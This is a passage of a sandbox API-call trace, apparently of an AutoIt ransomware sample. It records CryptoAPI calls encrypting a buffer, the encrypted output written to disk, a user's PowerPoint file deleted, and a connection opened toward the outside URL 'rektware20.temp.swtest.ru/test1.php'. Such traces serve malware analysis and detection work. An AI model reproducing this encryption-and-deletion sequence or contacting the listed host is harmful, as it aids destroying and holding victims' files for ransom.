lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0071.536] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.536] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.536] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.536] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0071.536] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.536] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.536] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0071.538] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.538] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0071.538] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.538] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.538] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.538] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0071.538] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0071.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0071.539] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0071.539] CryptGetKeyParam (in: hKey=0x164c7b0, dwParam=0x7, pbData=0x1629500, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629500*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0071.539] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.539] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.539] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.539] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.539] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.539] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.539] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.539] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.539] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0071.539] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.539] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.539] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0071.539] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.539] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.539] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0071.539] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.539] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.540] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.540] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.540] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.540] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.540] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.540] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.540] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.540] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0071.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621678, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0071.540] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0071.540] CryptEncrypt (in: hKey=0x164c7b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xa70e, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xa710) returned 1 [0071.541] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.541] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.541] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.541] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.541] CharLowerBuffW (in: lpsz="byte[42769]", cchLength=0xb | out: lpsz="byte[42769]") returned 0xb [0071.541] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.542] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.542] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.542] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.542] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0071.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a80, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0071.542] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0071.542] CryptEncrypt (in: hKey=0x164c7b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17db230*, pdwDataLen=0x130e618*=0xa70e, dwBufLen=0xa710 | out: pbData=0x17db230*, pdwDataLen=0x130e618*=0xa710) returned 1 [0071.542] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.542] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.542] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.542] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.542] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.543] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.543] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0071.543] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.543] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0071.543] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.543] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.543] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.543] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.543] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0071.543] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.543] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.543] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.546] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.546] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.546] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.546] WriteFile (in: hFile=0x3bc, lpBuffer=0x17b94f0*, nNumberOfBytesToWrite=0xa710, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17b94f0*, lpNumberOfBytesWritten=0x130f01c*=0xa710, lpOverlapped=0x0) returned 1 [0071.547] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.547] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.547] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0071.547] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.547] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.547] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0071.547] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0071.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621378, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0071.548] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0071.548] CryptDestroyKey (hKey=0x164c7b0) returned 1 [0071.548] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.548] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.548] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0071.548] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.548] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0071.548] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0071.548] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0071.548] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.548] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.548] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0071.548] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.548] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.549] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.549] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.549] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.549] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0071.549] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.549] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0071.549] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.549] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.549] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.549] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.549] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0071.549] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.549] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.549] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0071.549] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0071.549] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0071.549] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0071.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0071.550] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0071.550] CryptReleaseContext (hProv=0x17aa890, dwFlags=0x0) returned 1 [0071.550] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.550] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.550] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0071.550] FreeLibrary (hLibModule=0x74c60000) returned 1 [0071.550] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.550] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.550] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.550] CloseHandle (hObject=0x2ac) returned 1 [0071.550] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.550] CloseHandle (hObject=0x3bc) returned 1 [0071.557] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.558] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0071.558] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\RUsC.pptx", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\RUsC.pptx", lpFilePart=0x0) returned 0x29 [0071.558] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\RUsC.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\rusc.pptx")) returned 0x20 [0071.558] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\RUsC.pptx", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c4f0 [0071.558] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\RUsC.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\rusc.pptx")) returned 1 [0071.561] FindNextFileW (in: hFindFile=0x164c4f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0071.562] FindClose (in: hFindFile=0x164c4f0 | out: hFindFile=0x164c4f0) returned 1 [0071.562] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0071.562] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.562] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.562] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.562] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\s DuzxPFz99j2WO.xlsx", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0071.562] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0071.562] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.563] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0071.563] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0071.563] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0071.563] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0071.563] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e68, 